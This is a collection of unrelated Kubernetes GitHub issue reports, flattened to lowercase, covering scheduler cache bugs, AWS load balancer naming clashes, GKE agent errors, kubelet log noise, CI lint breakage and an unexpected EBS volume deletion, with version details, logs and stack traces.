is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r \r fail to schedule one pod to one node because kube-scheduler thinks this node doesn't have enough resources.\r \r however, this node have enough resources for this pod actually.\r \r   what you expected to happen  :\r \r successfully schedule this pod to this node.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r as we all know, delete event is not reliable. for some reasons, scheduler miss pod delete event, so it doesn't recycle corresponding resources for this node.\r \r reproduce steps:\r \r - we have pod-a and node-a, pod-a is scheduled to node-a. node-a doesn't have free resources now.\r - delete pod-a.\r - before pod-a delete event is sent to kube-scheduler, restart kube-apiserver.\r - create pod-b same resource request with pod-a  and try to schdule to node-a.\r \r the last step will fail unless we restart kube-scheduler.\r \r   anything else we need to know?  :\r \r delete event is not reliable. in this scene, nodeinfo.requestedresource is not right.i think we should take some necessary measures to deal with it.\r \r for example, we can check nodeinfo.pods periodically to verify if this pod is already deleted or not. if pod is already deleted, we should update nodeinfo cache to recycle resources occupied by this pod.\r \r \r   environment  :\r \r client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.5.1.1.0.158+32bf05fbb7ea04-dirty\ , gitcommit:\ 32bf05fbb7ea04eae309151c997ebcd607f91f61\ , gittreestate:\ dirty\ , builddate:\ 2017-10-20t08:34:57z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.5.1.1.0.169+7eee5030cd10eb-dirty\ , gitcommit:\ 7eee5030cd10eb57924cf20ecc4149678710414d\ , gittreestate:\ dirty\ , builddate:\ 2017-11-09t06:55:20z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

cc @kubernetes/sig-auth-feature-requests \r cc @kubernetes/sig-storage-feature-requests \r \r gitrepo stopped accepting new features a while ago https://github.com/kubernetes/kubernetes/issues/17676 issuecomment-228650586 and today this behavior can easily be achieved through an init container. the kubelet shelling out to git on the host can also be a security issue on un-trusted repos.\r \r https://gist.github.com/tallclair/849601a16cebeee581ef2be50c351841

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r   what happened  :\r i've tried to switch two istio ingressgateways in different k8s clusters  in the same aws region  to nlb loadbalancers, but receive error:\r \r > error processing service istio-system/istio-ingressgateway  will retry : failed to ensure load balancer for service istio-system/istio-ingressgateway: error creating load balancer target group: \ duplicatetargetgroupname: a target group with the same name 'k8s-tg-9ff6919e87f45-80-31380' exists, but with different settings\r \r   what you expected to happen  :\r second loadbalancer's targetgroups created successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create two k8s clusters in the same aws region. create in each cluster service backed by nlb loadbalancer with the same namespace/servicename and ports combination.\r \r   anything else we need to know?  :\r problem is related to target group name calculation in function createtargetname:\r https://github.com/kubernetes/kubernetes/blob/bcc23dfdc1620a2bbe840d62b739bcd1bda260b7/pkg/cloudprovider/providers/aws/aws_loadbalancer.go l330-l333\r names for same combination of namespace/servicename  istio-system/istio-ingressgateway  and ports in different clusters in same region will generate identical names for target groups. \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.2\r - cloud provider or hardware configuration: aws\r - install tools: kops\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  : i'm seeing this error in my gke logs for the metadata-agent:\r    \r {\r  insertid:  \ gdou02fbi0br1\   \r  logname:  \ projects/<redacted>/logs/stderr\   \r  metadata: {\r   systemlabels: {\r    container_image:  \ gcr.io/stackdriver-agents/stackdriver-metadata-agent:0.2-0.0.21-1\     \r    container_image_id:  \ docker-pullable://gcr.io/stackdriver-agents/stackdriver-metadata-agent@sha256:2a3549c200bd183d7599062240c0217c443d38c912cbd70958411c62636618f8\     \r    name:  \ metadata-agent\     \r    node_name:  \ gke-<redacted>-pool-1-1e2b31a0-6n04\     \r    provider_instance_id:  \ 3236082556342400330\     \r    provider_resource_type:  \ gce_instance\     \r    provider_zone:  \ us-west2-b\     \r    top_level_controller_name:  \ metadata-agent\     \r    top_level_controller_type:  \ daemonset\     \r   }\r   userlabels: {\r    app:  \ metadata-agent\     \r    controller-revision-hash:  \ 3678957071\     \r    pod-template-generation:  \ 2\     \r   }\r  }\r  receivetimestamp:  \ 2018-12-10t02:24:04.034416826z\   \r  resource: {\r   labels: {\r    cluster_name:  \ <redacted>\     \r    container_name:  \ metadata-agent\     \r    location:  \ us-west2\     \r    namespace_name:  \ kube-system\     \r    pod_name:  \ metadata-agent-sz8lw\     \r    project_id:  \ <redacted>\     \r   }\r   type:  \ k8s_container\    \r  }\r  severity:  \ error\   \r  textpayload:  \ terminate called after throwing an instance of 'google::metadataupdater::configurationvalidationerror '\r \   \r  timestamp:  \ 2018-12-10t02:23:59z\   \r }\r    \r \r   what you expected to happen  : the default gke metadata-agent to not throw errors on the default configuration.\r \r   how to reproduce it  as minimally and precisely as possible   : run a cluster on gke.\r \r   anything else we need to know?  : i haven't messed with the metadata-agent config at all.\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.7\ , gitcommit:\ 0c38c362511b20a098d7cd855f1314dad92c2780\ , gittreestate:\ clean\ , builddate:\ 2018-08-20t10:09:03z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.3-gke.18\ , gitcommit:\ 35471a6a3958f610351c67208de0f3824c4e8b3d\ , gittreestate:\ clean\ , builddate:\ 2018-11-14t05:27:44z\ , goversion:\ go1.10.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : container-optimized os\r - kernel  e.g.  uname -a  : unclear\r - install tools: n/a\r - others: n/a\r \r <!-- do not edit below this line -->\r 

what would you like to be added  :\r refactor all flags in kube-apiserver package into constants\r example: https://github.com/kubernetes/kubernetes/blob/master/cmd/kube-apiserver/app/options/options.go l128\r the issue is a continue of work related to those issues:\r https://github.com/kubernetes/kubeadm/issues/1336\r https://github.com/kubernetes/kubeadm/issues/1333\r \r open questions:\r we have few todo's in this package, like https://github.com/kubernetes/kubernetes/blob/master/cmd/kube-apiserver/app/options/options.go l132 or https://github.com/kubernetes/kubernetes/blob/master/cmd/kube-apiserver/app/options/options.go l175 can we resolve them?\r we have a lot of hardcodes here https://github.com/kubernetes/kubernetes/blob/master/cmd/kube-apiserver/app/aggregator.go l242 should we do something to them?\r \r  / /help-wanted

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r docker daemons are getting restarted frequently.\r \r   what you expected to happen  :\r docker daemon need to be stable.\r \r   how to reproduce it  as minimally and precisely as possible   :\r cluster created using kubeadm 1.14.1 in aws with instance type m5.xlarge\r \r   anything else we need to know?  :\r \r kubelet logs:\r \r    \r may  9 06:58:42 agent-e1-i-0ab8e91ed938021f3 kubelet: w0509 03:58:42.647547   16352 container.go:409  failed to create summary reader for \ /libcontainer_20433_systemd_test_default.slice\ : none of the resources are being tracked.\r may  9 06:58:42 agent-e1-i-0ab8e91ed938021f3 kubelet: w0509 03:58:42.653567   16352 raw.go:87  error while processing event  \ /sys/fs/cgroup/blkio/libcontainer_20579_systemd_test_default.slice\ : 0x40000100 == in_create|in_isdir : inotify_add_watch /sys/fs/cgroup/blkio/libcontainer_20579_systemd_test_default.slice: no such file or directory\r may  9 06:58:42 agent-e1-i-0ab8e91ed938021f3 kubelet: w0509 03:58:42.653870   16352 raw.go:87  error while processing event  \ /sys/fs/cgroup/memory/libcontainer_20579_systemd_test_default.slice\ : 0x40000100 == in_create|in_isdir : inotify_add_watch /sys/fs/cgroup/memory/libcontainer_20579_systemd_test_default.slice: no such file or directory\r may  9 06:58:42 agent-e1-i-0ab8e91ed938021f3 kubelet: w0509 03:58:42.653898   16352 raw.go:87  error while processing event  \ /sys/fs/cgroup/devices/libcontainer_20579_systemd_test_default.slice\ : 0x40000100 == in_create|in_isdir : inotify_add_watch /sys/fs/cgroup/devices/libcontainer_20579_systemd_test_default.slice: no such file or directory\r may  9 06:58:42 agent-e1-i-0ab8e91ed938021f3 kubelet: w0509 03:58:42.656955   16352 raw.go:87  error while processing event  \ /sys/fs/cgroup/cpu,cpuacct/libcontainer_20596_systemd_test_default.slice\ : 0x40000100 == in_create|in_isdir : inotify_add_watch /sys/fs/cgroup/cpu,cpuacct/libcontainer_20596_systemd_test_default.slice: no such file or directory\r may  9 06:58:42 agent-e1-i-0ab8e91ed938021f3 kubelet: w0509 03:58:42.656989   16352 raw.go:87  error while processing event  \ /sys/fs/cgroup/blkio/libcontainer_20596_systemd_test_default.slice\ : 0x40000100 == in_create|in_isdir : inotify_add_watch /sys/fs/cgroup/blkio/libcontainer_20596_systemd_test_default.slice: no such file or directory\r may  9 06:58:42 agent-e1-i-0ab8e91ed938021f3 kubelet: w0509 03:58:42.657015   16352 raw.go:87  error while processing event  \ /sys/fs/cgroup/memory/libcontainer_20596_systemd_test_default.slice\ : 0x40000100 == in_create|in_isdir : inotify_add_watch /sys/fs/cgroup/memory/libcontainer_20596_systemd_test_default.slice: no such file or directory\r may  9 06:58:42 agent-e1-i-0ab8e91ed938021f3 kubelet: w0509 03:58:42.657039   16352 raw.go:87  error while processing event  \ /sys/fs/cgroup/devices/libcontainer_20596_systemd_test_default.slice\ : 0x40000100 == in_create|in_isdir : inotify_add_watch /sys/fs/cgroup/devices/libcontainer_20596_systemd_test_default.slice: no such file or directory\r \r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.1\ , gitcommit:\ b7394102d6ef778017f2ca4046abbaa23b88c290\ , gittreestate:\ clean\ , builddate:\ 2019-04-08t17:11:31z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r aws \r \r - os  e.g:  cat /etc/os-release  :\r \r    \r name=\ red hat enterprise linux server\ \r version=\ 7.6  maipo \ \r id=\ rhel\ \r id_like=\ fedora\ \r variant=\ server\ \r variant_id=\ server\ \r version_id=\ 7.6\ \r pretty_name=\ red hat enterprise linux server 7.6  maipo \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:redhat:enterprise_linux:7.6:ga:server\ \r home_url=\ https://www.redhat.com/\ \r bug_report_url=\ https://bugzilla.redhat.com/\ \r \r redhat_bugzilla_product=\ red hat enterprise linux 7\ \r redhat_bugzilla_product_version=7.6\r redhat_support_product=\ red hat enterprise linux\ \r redhat_support_product_version=\ 7.6\ \r \r    \r - kernel  e.g.  uname -a  :\r    \r linux agent-e1-i-0ab8e91ed938021f3 3.10.0-957.10.1.el7.x86_64  1 smp thu feb 7 07:12:53 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r docker version\r    \r client:\r  version:           18.09.5\r  api version:       1.39\r  go version:        go1.10.8\r  git commit:        e8ff056\r  built:             thu apr 11 04:43:34 2019\r  os/arch:           linux/amd64\r  experimental:      false\r \r server: docker engine - community\r  engine:\r   version:          18.09.5\r   api version:      1.39  minimum version 1.12 \r   go version:       go1.10.8\r   git commit:       e8ff056\r   built:            thu apr 11 04:13:40 2019\r   os/arch:          linux/amd64\r   experimental:     false\r    \r \r cri-tools.x86_64           1.12.0-0            \r kubeadm.x86_64             1.14.1-0           \r kubectl.x86_64             1.14.1-0           \r kubelet.x86_64             1.14.1-0            \r kubernetes-cni.x86_64      0.7.5-0             \r \r docker-ce.x86_64           3:18.09.5-3.el7     \r docker-ce-cli.x86_64       1:18.09.5-3.el7\r \r - network plugin and version  if this is a network-related bug :\r \r kubernetes-cni.x86_64      0.7.5-0\r overlay :  weave net 2.5.1\r \r - others:\r i have converted the instances to m4.xlarge for testing, it was working perfectly

hi kubernetes people,  i have a question about the network management functionality of kubernetes. is there a plan for managing buffers of switches from kubernetes?  currently, a switch buffer doesn't have a mechanism for isolation that can be used from distributed systems easily. therefore problems like  microburst  https://www.arista.com/assets/data/pdf/7148sx-ixnetwork-microburst.pdf  can happen. the problem can increase latency so it is critical for user facing interactive systems.  although there are  some solutions for solving the problem  http://simula.stanford.edu/~alizade/site/dctcp.html , they don't seem to be widely used yet. straightforward solution would be careful capacity planning that tends to produce a situation of over provisioning. in addition, it requires difficult engineering tasks  e.g. voluntary scheduling by applications and operators .  i think kubernetes is a suitable component for controlling the buffer. if it is possible to add a new resource type of the buffer  like other network resources  https://github.com/kubernetes/kubernetes/blob/master/docs/design/resources.md future-network-bandwidth , the management of switch buffer would be easier for application developers and operators. fortunately, recent white box switches provides their sdks for managing buffers. connecting kubernetes and these sdks would be possible.  i'm very new to kubernetes. i'm happy if i can hear your opinions.

when running density test second time on the same cluster i'm seeing errors like:      e0316 09:56:45.788713   12132 iowatcher.go:109  unable to decode an event from the watch stream: net/http: request canceled  client.timeout exceeded while reading body       cc @wojtek-t @kubernetes/sig-api-machinery

in our test-infra we   go get github.com/golang/lint/golint   https://github.com/kubernetes/test-infra/blob/master/jenkins/test-image/dockerfile-1.4 l53-l54  in the kubekins-test image to use in the various \\ -verify-\\  jobs.\r \r recently, we updated the  kubekins-test  image, which ended up pulling in a newer version of  golint  with  a new check  https://github.com/golang/lint/commit/3390df4df2787994aea98de825b964ac7944b817 . and now the verify-1.4 jobs  are failing  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-verify-release-1.4/467/  due to this new check:\r    \r i1121 16:07:11.555  verifying hack/make-rules/../../hack/verify-golint.sh\r w1121 16:07:32.929  errors from golint:\r w1121 16:07:32.929  pkg/storage/etcd3/store_test.go:548:1: context.context should be the first parameter of a function\r w1121 16:07:32.929  \r w1121 16:07:32.929  please fix the above errors. you can test via \ golint\  and commit the result.\r w1121 16:07:32.930  \r i1121 16:07:32.933  failed   hack/make-rules/../../hack/verify-golint.sh\t21s\r    \r \r while 1.4 is still fairly recent, we could imagine older release branches breaking similarly, and i'm not sure we want to fix lint failures in old releases.\r \r should we figure out some way to version/vendor golint for these checks?\r \r cc @kubernetes/test-infra-maintainers @kubernetes/sig-testing

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-ingress-release-1.5/937/  failed:  k8s.io  loadbalancing: l7  feature:ingress   k8s.io  nginx  slow  should conform to ingress spec {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/ingress.go:198 expected error:     < errors.errorstring | 0xc420acd680>: {         s: \ failed to execute a successful get within 30s, last response body for http://104.154.149.63:32087, host :\ default backend - 404\ \ timed out waiting for the condition\ \ ,     }     failed to execute a successful get within 30s, last response body for http://104.154.149.63:32087, host :     default backend - 404          timed out waiting for the condition      not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/petset.go:1066       previous issues for this test:  34467

afaict we allow the user to specify an fstype, and we perform no validation / whitelisting of the value.\r \r  looking at the code i don't believe there is the opportunity for any security type problems though, because we only exec with a   string, never with a joined string.

memcg notifications, which have the potential to greatly improve eviction responsiveness was added prior to 1.5:  32577.\r however, it appeared that on some images  specifically cvm , this feature exposed a kernel bug resulting in kernel soft lockups:  37853.\r since 1.5, memcg has been feature gated, and disabled by default.  however, for images that did not exhibit soft lockups, we should try and re-enable this feature.\r my goal is to set a timeline to safely re-enable this feature by 1.7.\r \r i propose:\r -  x  create a test serial suite running with memcg notifications enabled:  42499\r -  x  create test job\r -  x  monitor test suite \r -  x  enable memcg notifications for all testing\r -  x  re-enable for gci if no soft lockup is detected.\r \r cc @dchen1107 @vishh

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?   no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r kubernetes volume deleted unexpectedly. kubernetes volume deleted after apiserver panic\r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r root@2b1dfb511ac9:~  kubectl version                 \r client version: version.info{major:\ 1\ , minor:\ 4+\ , gitversion:\ v1.4.3-39+397fdc3990005b\ , gitcommit:\ 397fdc3990005b3823a020d001de4b8381efff89\ , gittreestate:\ clean\ , builddate:\ 2017-03-16t22:22:25z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4+\ , gitversion:\ v1.4.3-39+397fdc3990005b\ , gitcommit:\ 397fdc3990005b3823a020d001de4b8381efff89\ , gittreestate:\ clean\ , builddate:\ 2017-03-16t22:13:52z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws m3.large instance\r -   os    e.g. from /etc/os-release : \r    \r root@ip-10-128-0-9:/home/admin  cat /etc/os-release\r pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=debian\r home_url=\ http://www.debian.org/\ \r support_url=\ http://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r -   kernel    e.g.  uname -a  :    linux ip-10-128-0-9 4.4.41-k8s  1 smp mon jan 9 15:34:39 utc 2017 x86_64 gnu/linux   \r -   install tools  : kube-up  for node setup only \r -   others  :\r \r \r   what happened  :\r kubernetes controller manager deleted aws ebs volume unintentionally  no one issued a delete api call , while leaving pv/pvc state unchanged. before deleting volume, api server had couple of go routines crashed due to timeout\r \r   what you expected to happen  :\r 1. ebs volume should not be unintentionally deleted\r 2. even ebs volume is deleted, pv/pvc status should reflect it\r \r   how to reproduce it    as minimally and precisely as possible :\r cannot reproduce it stably.\r \r   anything else we need to know  :\r here are some details:\r \r \r \r pv status  after volume is deleted \r    \r root@2b1dfb511ac9:~  kubectl --kubeconfig /tmp/ax_kube/cluster_hz-mac-ttt93-b1c768d0-1f09-11e7-b6c5-0242ac110007.conf --namespace axsys get pv pvc-e34de0c7-1f0a-11e7-bcca-0a92a07a4e23 -o yaml \r apiversion: v1\r kind: persistentvolume\r metadata:\r   annotations:\r     kubernetes.io/createdby: aws-ebs-dynamic-provisioner\r     pv.kubernetes.io/bound-by-controller: \ yes\ \r     pv.kubernetes.io/provisioned-by: kubernetes.io/aws-ebs\r   creationtimestamp: 2017-04-11t23:03:50z\r   labels:\r     failure-domain.beta.kubernetes.io/region: us-west-2\r     failure-domain.beta.kubernetes.io/zone: us-west-2c\r   name: pvc-e34de0c7-1f0a-11e7-bcca-0a92a07a4e23\r   resourceversion: \ 425\ \r   selflink: /api/v1/persistentvolumes/pvc-e34de0c7-1f0a-11e7-bcca-0a92a07a4e23\r   uid: 2023c519-1f0b-11e7-bcca-0a92a07a4e23\r spec:\r   accessmodes:\r   - readwriteonce\r   awselasticblockstore:\r     fstype: ext4\r     volumeid: aws://us-west-2c/vol-0b3bc6fd027da7cf4\r   capacity:\r     storage: 30gi\r   claimref:\r     apiversion: v1\r     kind: persistentvolumeclaim\r     name: gateway-persistent-storage\r     namespace: axsys\r     resourceversion: \ 241\ \r     uid: e34de0c7-1f0a-11e7-bcca-0a92a07a4e23\r   persistentvolumereclaimpolicy: delete\r status:\r   phase: bound\r    \r \r \r \r pvc status  after volume is deleted :\r    \r root@2b1dfb511ac9:~  kubectl --kubeconfig /tmp/ax_kube/cluster_hz-mac-ttt93-b1c768d0-1f09-11e7-b6c5-0242ac110007.conf --namespace axsys get pvc gateway-persistent-storage -o yaml             \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   annotations:\r     pv.kubernetes.io/bind-completed: \ yes\ \r     pv.kubernetes.io/bound-by-controller: \ yes\ \r     volume.alpha.kubernetes.io/storage-class: anything\r   creationtimestamp: 2017-04-11t23:02:08z\r   labels:\r     app: gateway\r   name: gateway-persistent-storage\r   namespace: axsys\r   resourceversion: \ 427\ \r   selflink: /api/v1/namespaces/axsys/persistentvolumeclaims/gateway-persistent-storage\r   uid: e34de0c7-1f0a-11e7-bcca-0a92a07a4e23\r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 30gi\r   volumename: pvc-e34de0c7-1f0a-11e7-bcca-0a92a07a4e23\r status:\r   accessmodes:\r   - readwriteonce\r   capacity:\r     storage: 30gi\r   phase: bound\r    \r \r kube-controller-manager log about this volume  as well as pv, pvc \r    \r i0411 23:02:08.346500       5 util.go:326  creating volume for pvc \ gateway-persistent-storage\ ; chose zone=\ us-west-2c\  from zones= \ us-west-2c\  \r i0411 23:02:08.382722       5 aws.go:1077  found instances in zones map us-west-2c:{} \r ......\r i0411 23:02:08.631235       5 aws_util.go:123  successfully created ebs disk volume aws://us-west-2c/vol-0b3bc6fd027da7cf4\r ......\r i0411 23:03:50.249778       5 controller.go:669  volume \ pvc-e34de0c7-1f0a-11e7-bcca-0a92a07a4e23\  entered phase \ bound\ \r i0411 23:03:50.249827       5 controller.go:805  volume \ pvc-e34de0c7-1f0a-11e7-bcca-0a92a07a4e23\  bound to claim \ axsys/gateway-persistent-storage\ \r ......\r i0411 23:04:54.685169       5 aws_util.go:56  successfully deleted ebs disk volume aws://us-west-2c/vol-0b3bc6fd027da7cf4\r i0411 23:04:54.685197       5 controller.go:1179  volume \ pvc-e34de0c7-1f0a-11e7-bcca-0a92a07a4e23\  deleted\r    \r \r kube-apiserver panics\r    \r e0411 23:03:53.202143       5 apiserver.go:516  apiserver was unable to write a json response: http: handler timeout\r e0411 23:03:53.202196       5 errors.go:63  apiserver received an error that is not an unversioned.status: http: handler timeout\r i0411 23:03:53.202292       5 trace.go:61  trace \ create /api/v1/persistentvolumes\   started 2017-04-11 23:02:08.611031602 +0000 utc :\r  27.501µs   27.501µs  about to convert to expected version\r  141.219µs   113.718µs  conversion done\r  1m44.589453767s   1m44.589312548s  about to store object in database\r  1m44.591236532s   1.782765ms  end\r i0411 23:03:53.202352       5 handlers.go:162  post /api/v1/persistentvolumes:  1m44.591426253s  500\r goroutine 5551  running :\r k8s.io/kubernetes/pkg/httplog.  resplogger .recordstatus 0xc82398eaf0, 0x1f4 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/httplog/log.go:219 +0xa3\r k8s.io/kubernetes/pkg/httplog.  resplogger .writeheader 0xc82398eaf0, 0x1f4 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/httplog/log.go:198 +0x2b\r k8s.io/kubernetes/pkg/apiserver/metrics.  responsewriterdelegator .writeheader 0xc823ad8ff0, 0x1f4 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/metrics/metrics.go:117 +0x4c\r k8s.io/kubernetes/pkg/apiserver.errorjsonfatal 0x0, 0x0, 0x7f14ea7b3460, 0xc822d04300, 0x7f14ea5b7d50, 0xc820d1cab0, 0xc820010ae0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/apiserver.go:526 +0x47a\r k8s.io/kubernetes/pkg/apiserver.writenegotiated 0x7f14ea7b33e8, 0xc820564f50, 0x0, 0x0, 0x3f1ae88, 0x2, 0x7f14ea5b7d50, 0xc820d1cab0, 0xc822b4eee0, 0x199, ... \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/apiserver.go:496 +0x3d4\r k8s.io/kubernetes/pkg/apiserver.errornegotiated 0x7f14ea608528, 0xc822d6b780, 0x7f14ea7b33e8, 0xc820564f50, 0x0, 0x0, 0x3f1ae88, 0x2, 0x7f14ea5b7d50, 0xc820d1cab0, ... \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/apiserver.go:509 +0x1a9\r k8s.io/kubernetes/pkg/apiserver.  requestscope .err 0xc8200afc00, 0x7f14ea608528, 0xc822d6b780, 0x7f14ea5b7d50, 0xc820d1cab0, 0xc822b4eee0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/resthandler.go:87 +0x191\r k8s.io/kubernetes/pkg/apiserver.createhandler.func1 0xc823ad8f60, 0xc8239abaa0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/resthandler.go:410 +0x14cd\r k8s.io/kubernetes/pkg/apiserver/metrics.instrumentroutefunc.func1 0xc823ad8f60, 0xc8239abaa0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/metrics/metrics.go:101 +0x25f\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .dispatch 0xc820531200, 0x7f14ea5b79c0, 0xc82398eaf0, 0xc822b4eee0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:272 +0xf30\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container . k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.dispatch -fm 0x7f14ea5b79c0, 0xc82398eaf0, 0xc822b4eee0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:120 +0x3e\r net/http.handlerfunc.servehttp 0xc820ca57d0, 0x7f14ea5b79c0, 0xc82398eaf0, 0xc822b4eee0 \r         /usr/local/go/src/net/http/server.go:1618 +0x3a\r net/http.  servemux .servehttp 0xc8200336e0, 0x7f14ea5b79c0, 0xc82398eaf0, 0xc822b4eee0 \r         /usr/local/go/src/net/http/server.go:1910 +0x17d\r k8s.io/kubernetes/pkg/api.newrequestcontextfilter.func1 0x7f14ea5b79c0, 0xc82398eaf0, 0xc822b4eee0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/api/requestcontext.go:101 +0x157\r net/http.handlerfunc.servehttp 0xc8208296c0, 0x7f14ea5b79c0, 0xc82398eaf0, 0xc822b4eee0 \r         /usr/local/go/src/net/http/server.go:1618 +0x3a\r k8s.io/kubernetes/pkg/apiserver.recoverpanics.func1 0x7f14ea5b79c0, 0xc82398eaf0, 0xc822b4eee0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/handlers.go:161 +0x1f3\r net/http.handlerfunc.servehttp 0xc821c08460, 0x7f14ea5b7988, 0xc820d1ca98, 0xc822b4eee0 \r         /usr/local/go/src/net/http/server.go:1618 +0x3a\r k8s.io/kubernetes/pkg/apiserver.  timeouthandler .servehttp.func1 0xc821c084a0, 0x7f14ea5b7948, 0xc820d1ca98, 0xc822b4eee0, 0xc8239ab9e0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/handlers.go:194 +0x8d\r created by k8s.io/kubernetes/pkg/apiserver.  timeouthandler .servehttp\r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/handlers.go:196 +0x15b\r \r logging error output: \ k8s\\x00\ \\f\ \\x02v1\\x12\\x06status\\x12+\ \\x04\ \\x00\\x12\\x00\\x12\\afailure\\x1a\\x15http: handler timeout\\\ \\x000\\xf4\\x03\\x1a\\x00\\\ \\x00\ \r    kube-controller-manager/v1.4.3  linux/amd64  kubernetes/397fdc3/persistent-volume-binder  127.0.0.1:47348 \r \r  the above happened a couple of times before \r \r ......\r \r i0411 23:04:27.534961       5 trace.go:61  trace \ create /api/v1/persistentvolumes\   started 2017-04-11 23:04:19.443869726 +0000 utc :\r  25.663µs   25.663µs  about to convert to expected version\r  132.76µs   107.097µs  conversion done\r  8.08948191s   8.08934915s  about to store object in database\r  8.091061632s   1.579722ms  end\r i0411 23:04:27.535009       5 handlers.go:162  post /api/v1/persistentvolumes:  8.091446476s  409   kube-controller-manager/v1.4.3  linux/amd64  kubernetes/397fdc3/persistent-volume-binder  127.0.0.1:48064 \r \r ......\r \r i0411 23:04:44.578049       5 trace.go:61  trace \ create /api/v1/persistentvolumes\   started 2017-04-11 23:04:37.536507929 +0000 utc :\r  28.013µs   28.013µs  about to convert to expected version\r  154.613µs   126.6µs  conversion done\r  7.03989939s   7.039744777s  about to store object in database\r  7.041511925s   1.612535ms  end\r i0411 23:04:44.578299       5 handlers.go:162  post /api/v1/persistentvolumes:  7.041757553s  409   kube-controller-manager/v1.4.3  linux/amd64  kubernetes/397fdc3/persistent-volume-binder  127.0.0.1:48076 \r    \r

